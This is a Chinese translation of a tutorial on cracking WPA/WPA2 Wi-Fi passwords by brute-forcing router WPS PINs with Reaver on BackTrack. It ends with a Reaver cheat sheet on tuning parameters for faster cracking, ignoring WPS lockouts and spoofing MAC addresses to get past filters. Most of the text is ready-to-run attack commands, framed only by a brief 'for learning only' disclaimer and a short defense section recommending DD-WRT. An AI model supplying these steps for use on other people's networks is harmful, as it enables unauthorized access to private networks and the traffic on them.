破解Wi-Fi网络的WPA/WPA2密码

英文原文 http://lifehacker.com/5873407/how-to-crack-a-wi-fi-networks-wpa-password-with-reaver

716D483AC1C1

Wi-Fi网络能够让我们便利地访问因特网,但同时,我们又不希望隔壁抠门猥琐男总是蹭我们的网,所以自然要给WiFi加个密码,对吧?于是,好消息是,也许你已经看过我的另一篇文章,“如何轻易破解WEP密码”,所以你使用了更稳固的WPA安全协议。

但坏消息是,现在有一款自由开源新工具——Reaver,已经挖掘出了无线路由器的一个漏洞,由此能够破解绝大多数路由器上的密码。今天,我就来一步步介绍,如何使用Reaver破解WPA/WPA2密码。最后我会给出相应的防范对策。

文章的第一部分,是使用Reaver破解WPA的详细步骤,读者可以看视频,也可以跟着下面的文字一起做。然后,我会解释Reaver的工作原理。最后,介绍如何防范Reaver攻击。

http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1

在正式开始之前,我还是要不厌其烦强调一下:知识就是力量,但是拥有力量不代表着可以为所欲为、触犯法律。同样,骑白马的不一定是王子,会开锁的也不一定是小偷。本文只是关于某些技术的实验与验证,只适用于学习。你知道的越多,就能够越好的保护自己。

准备工作

首先,无需成为一名网络专家,学会使用复杂的命令行工具,你只需要准备一张空白DVD、一台能连接WiFi的电脑,并腾出几个小时时间,这就是我们基本需要的东西。要安装Reaver,可以有很多方法,但是这里我们建议你按照下面的指南来做:

7241A0A574A6

  • The BackTrack 5 Live DVD。BackTrack是一款支持自启动的Linux发行版,上面集成了大量的网络测试工具。虽然这对于安装、配置Reaver并不是必需的一个条件,但是对于大多数用户却是最简单一个方法。从BackTrack的下载页面(传送门)下载Live DVD,然后刻盘。这里你也可以下载镜像然后使用VMware安装,如果你不知道VMware是啥,额,那就还是刻盘吧。如图所示,下载的时候,下拉菜单选择BackTrack 5 R3版本、Gnome环境、根据你的CPU选择32或64位系统(如果这里不确定是32还是64,为了保险起见,请选择32位),下载类型选择ISO,然后就可以点击下载了。
  • 配有DVD光驱、支持WiFi的电脑。BackTrack支持大多数的笔记本无线网卡,这一点对于大多数读者应该没什么问题。同时,你的电脑需要有一个DVD光驱,这样才能从BackTrack光盘启动。我的测试环境是一台用了6年的MacBook Pro。
  • 附近要有采用WPA加密的WiFi网络。没WiFi网,你破解谁去 =。= ……一会我会在“Reaver的工作原理部分”介绍,WiFi防护设置是如何产生安全漏洞、WPA破解是如何成为可能的。
  • 最后,你还需要一点点的耐心。这是整个实验的最后一步,使用Reaver破解WPA密码并不难,它采用的是暴力破解,因此,你的电脑将会测试大量不同的密码组合,来尝试破解路由器,直到最终找到正确的密码。我测试的时候,Reaver花了大概两个半小时破解了我的WiFi密码。Reaver的主页上介绍,一般这个时间在4到10个小时之间,视具体情况而定。

让我们开始吧

此时,你应该已经把BackTrack的DVD光盘刻录好了,笔记本也应该已经准备就绪。

第1步:启动BackTrack

要启动BackTrack,只需将DVD放入光驱,电脑从光盘启动。(如果不知道如何使用live CD或DVD启动,请自行Google。)启动过程中,BackTrack会让你选择启动模式,选择默认的“BackTrack Text – Default Boot Text Mode”然后回车。

最终BackTrack会来到一个命令行界面,键入startx,回车,BackTrack就会进入它的图形界面。

第2步:安装Reaver

(文章更新:Reaver在R3版中已经预装,如果你安装的是BT5的R3版,这一步骤可以忽略,直接跳到第3步。)

Reaver已经加入了BackTrack的最新版软件包,只是还没有集成到live DVD里,所以,在本文最初撰写的时候,你还需要手动安装Reaver。要安装Reaver,首先设置电脑联网。

1.点击Applications > Internet > Wicd Network Manager 2.选择你的网络并点击Connect,如果需要的话,键入密码,点击OK,然后再次点击Connect。

连上网以后,安装Reaver。点击菜单栏里的终端按钮(或者依次点击 Applications > Accessories > Terminal)。在终端界面,键入以下命令:

apt-get update

更新完成之后,键入:

apt-get install reaver

如果一切顺利,Reaver现在应该已经安装好了。如果你刚才的下载安装操作使用的是WiFi上网,那么在继续下面的操作之前,请先断开网络连接,并假装不知道WiFi密码 =。= 接下来我们要准备破解它~

第3步:搜集设备信息,准备破解

在使用Reaver之前,你需要获取你无线网卡的接口名称、路由的BSSID(BSSID是一个由字母和数字组成的序列,用于作为路由器的唯一标识)、以及确保你的无线网卡处于监控模式。具体参见以下步骤。

找到无线网卡:在终端里,键入:

iwconfig

回车。此时你应该看到无线设备的相关信息。一般,名字叫做wlan0,但如果你的机子不止一个无线网卡,或者使用的是不常见的网络设备,名字可能会有所不同。

7901DC34821F

将无线网卡设置为监控模式:假设你的无线网卡接口名称为wlan0,执行下列命令,将无线网卡设置为监控模式:

airmon-ng start wlan0

这一命令将会输出监控模式接口的名称,如下图中箭头所示,一般情况下,都叫做mon0。

7133E68B0C02

找到你打算破解的路由器的BSSID:最后,你需要获取路由器的唯一标识,以便Reaver指向要破解的目标。执行以下命令:

airodump-ng wlan0

(注意:如果airodump-ng wlan0命令执行失败,可以尝试对监控接口执行,例如airodump-ng mon0)

此时,你将看到屏幕上列出周围一定范围内的无线网络,如下图所示:

7632B746CAE5

当看到你想要破解的网络时,按下Ctrl+C,停止列表刷新,然后复制该网络的BSSID(图中左侧字母、数字和分号组成的序列)。从ENC这一列可以看出,该网络是WPA或WPA2协议。(如果为WEP协议,可以参考我的前一篇文章——WEP密码破解指南

现在,手里有了BSSID和监控接口的名称,万事俱备,只欠破解了。

第4步:使用Reaver破解无线网络的WPA密码

在终端中执行下列命令,用你实际获取到的BSSID替换命令中的bssid:

reaver -i moninterface -b bssid -vv

例如,如果你和我一样,监控接口都叫做mon0,并且你要破解的路由器BSSID是8D:AE:9D:65:1F:B2,那么命令应该是下面这个样子:

reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv

最后,回车!接下来,就是喝喝茶、发发呆,等待Reaver魔法的发生。Reaver将会通过暴力破解,尝试一系列PIN码,这将会持续一段时间,在我的测试中,Reaver花了2个半小时破解网络,得出正确密码。正如前文中提到过的,Reaver的文档号称这个时间一般在4到10个小时之间,因此根据实际情况不同,这个时间也会有所变化。当Reaver的破解完成时,它看起来是下图中这个样子:

7580A56B2ADC

一些要强调的事实:Reaver在我的测试中工作良好,但是并非所有的路由器都能顺利破解(后文会具体介绍)。并且,你要破解的路由器需要有一个相对较强的信号,否则Reaver很难正常工作,可能会出现其他一些意想不到的问题。整个过程中,Reaver可能有时会出现超时、PIN码死循环等问题。一般我都不管它们,只是保持电脑尽量靠近路由器,Reaver最终会自行处理这些问题。

除此以外,你可以在Reaver运行的任意时候按下Ctrl+C中断工作。这样会退出程序,但是Reaver下次启动的时候会自动恢复继续之前的工作,前提是只要你没有关闭或重启电脑(如果你直接在live DVD里运行,关闭之前的工作都会丢失)。

Reaver的工作原理

你已经学会了使用Reaver,现在,让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置(WiFi Protected Setup – 下文中简称为WPS)的一个弱点,WPS是许多路由器上都有的一个功能,可以为用户提供简单的配置过程,它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷,最终的结果就是,只要有足够的时间,它就能破解WPA或WPA2的密码。

关于这个缺陷的具体细节,参看Sean Gallagher’s excellent post on Ars Technica

如何防范Reaver攻击

该缺陷存在于WPS的实现过程中,因此,如果能够关闭WPS,WiFi就是安全的(或者,更好的情况是,你的路由器天生就木有这一功能)。但不幸的是,正如Gallagher在Ars的文章中所指出的,即使在路由器设置中人为关掉了WPS,Reaver仍然能够破解其密码。

在一次电话通话中,Craig Heffner说道,很多路由器即使关闭WPS都无法有效防范攻击。他和同事一起测试过,所有的Linksys和Cisco Valet无线路由器都是如此。“在所有的Linksys路由器上,你甚至无法手动关闭WPS,”他说,尽管Web界面中有关闭WPS配置的按钮,但是“它仍然会自动打开,极易受到攻击”。

因此,方法一:失败!。也许你可以亲自尝试把你的路由器WPS关闭,然后测试一下Reaver是否还能成功破解。

你也可以在路由器中设置一下MAC地址过滤(只允许指定的白名单设备连接你的网络),但是有经验的黑客还是能够检测出设备的白名单MAC地址,并使用MAC地址仿冒你的计算机。

方法二:失败!那到底该怎么办?

我的建议是,我曾经在我的路由器上安装了开源路由固件DD-WRT,成功防御了Reaver攻击。因为,DD-WRT天生就是不支持WPS的,因此,这成为了又一个我热爱自由软件的原因。如果你也对DD-WRT感兴趣,可以看一下这里的设备支持列表,看是否支持你的路由器设备。除了安全上的升级,DD-WRT还可以监控网络行为设置网络驱动器拦截广告增强WiFi信号范围等,它完全可以让你60美刀的路由器发挥出600美刀路由器的水平

 

Reaver v1.4 用法整理 含高级参数说明

 

使用方法:
airmon-ng start wlan0 //启动mon0监控
reaver -i mon0 -b MAC -a -S -vv //普通用法

如果,90.9%进程后死机或停机,请记下PIN前四位数,用指令:
reaver -i mon0 -b MAC -a -vv -p XXXX(PIN前四位数)

其他命令
airodump-ng mon0 用来扫描周围无线信号
wash -i mon0 -C 这个是用来检测周围无线支持PIN的路由

如果一直pin不动,尝试加-N参数
reaver -i mon0 -b xx:xx:xx:xx:xx:xx -d 0 -vv -a -S -N
也可以加延时 -t 3 -b 3

常用参数释疑
-i 监听后接口名称 网卡的监视接口,通常是mon0
-b 目标mac地址 AP的MAC地址
-a 自动检测目标AP最佳配置
-S 使用最小的DH key,可以提高PJ速度
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间 预设为1秒
reaver -i mon0 -b MAC -d 0
用上述指令可以大幅加快PJ速度 但是有些AP可能受不了
-c (后跟频道数) 指定频道,可以方便找到信号
-p PIN码四位或八位 //已知pin码前4位可以带此参数,指定从这个数字开始pin。可以用8位直接找到密码。
-N 不发送NACK信息(如果一直pin不动,可以尝试这个参数)
-n 对目标AP总是发送NACK,默认自动
-t 即timeout每次穷举等待反馈的最长时间,如果信号不错,可以这样设置
reaver -i mon0 -b MAC -d 0 -t .5
-m, –mac=<mac> 指定本机MAC地址,在AP有MAC过滤的时候需要使用

小结-PJ时应因状况调整参数:
信号非常好:
reaver -i mon0 -b MAC -a -S -vv -d 0 -c 1
信号普通:
reaver -i mon0 -b MAC -a -S -vv -d .5 -t .5 -c 1
信号一般:
reaver -i mon0 -b MAC -a -S -vv -c 1

当出现有百分数时你就可以用crtl+c来暂停,它会将reaver的进度表文件保存在
1.3版:
/etc/reaver/MAC地址.wpc
1.4版:
/usr/local/etc/reaver/MAC地址.wpc
用资源管理器,手工将以MAC地址命名的、后辍为wpc的文件拷贝到U盘或硬盘中,
下次重启动后,再手工复制到/etc/reaver/ 目录下即可。

不是所有的路由都支持pin学习。AP关闭了WPS、或者没有QSS滴,会出现
WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX)
学习过程中也可随时随地按Ctrl+C终止PJ,重复同一个PIN码 或 timeou t可终止,reaver会自动保存进度。
继续上次的PJ,则再次在终端中发送:
reaver -i mon0 -b MAC -vv
这条指令下达后,会让你选y或n,选y后就继续了
当reaver确定前4位PIN密码后,其工作完成任务进度数值将直接跳跃至90.9%以上,也就是说只剩余一千个密码组合了(总共一万一千个密码)。

参数详细说明:
-m, –mac=<mac> MAC of the host system
指定本机MAC地址,在AP有MAC过滤的时候需要使用
-e, –essid=<ssid> ESSID of the target AP
路由器的ESSID,一般不用指定
-c, –channel=<channel> Set the 802.11 channel for the interface (implies -f)
信号的频道,如果不指定会自动扫描
-o, –out-file=<file> Send output to a log file [stdout]
标准输出到文件
-s, –session=<file> Restore a previous session file
恢复进程文件
-C, –exec=<command> Execute the supplied command upon successful pin recovery
pin成功后执行命令
-D, –daemonize Daemonize reaver
设置reaver成Daemon
-a, –auto Auto detect the best advanced options for the target AP
对目标AP自动检测高级参数
-f, –fixed Disable channel hopping
禁止频道跳转
-5, –5ghz Use 5GHz 802.11 channels
使用5G频道
-v, –verbose Display non-critical warnings (-vv for more)
显示不重要警告信息 -vv 可以显示更多
-q, –quiet Only display critical messages
只显示关键信息
-h, –help Show help
显示帮助

-vv 显示更多的非严重警告

高级参数:
-p, –pin=<wps pin> Use the specified 4 or 8 digit WPS pin
直接读取psk(本人测试未成功,建议用网卡自带软件获取)
-d, –delay=<seconds> Set the delay between pin attempts [1]
pin间延时,默认1秒,推荐设0
-l, –lock-delay=<seconds> Set the time to wait if the AP locks WPS pin attempts [60]
AP锁定WPS后等待时间
-g, –max-attempts=<num> Quit after num pin attempts
最大pin次数
-x, –fail-wait=<seconds> Set the time to sleep after 10 unexpected failures [0]
10次意外失败后等待时间,默认0秒
-r, –recurring-delay=<x:y> Sleep for y seconds every x pin attempts
每x次pin后等待y秒
-t, –timeout=<seconds> Set the receive timeout period [5]
收包超时,默认5秒
-T, –m57-timeout=<seconds> Set the M5/M7 timeout period [0.20]
M5/M7超时,默认0.2秒
-A, –no-associate Do not associate with the AP (association must be done by another application)
不连入AP(连入过程必须有其他程序完成)
-N, –no-nacks Do not send NACK messages when out of order packets are received
不发送NACK信息(如果一直pin不动,可以尝试这个参数)
-S, –dh-small Use small DH keys to improve crack speed
使用小DH关键值提高速度(推荐使用)
-L, –ignore-locks Ignore locked state reported by the target AP
忽略目标AP报告的锁定状态
-E, –eap-terminate Terminate each WPS session with an EAP FAIL packet
每当收到EAP失败包就终止WPS进程
-n, –nack Target AP always sends a NACK [Auto]
对目标AP总是发送NACK,默认自动
-w, –win7 Mimic a Windows 7 registrar [False]
模拟win7注册,默认关闭

共有 13 条评论

发表评论

电子邮件地址不会被公开。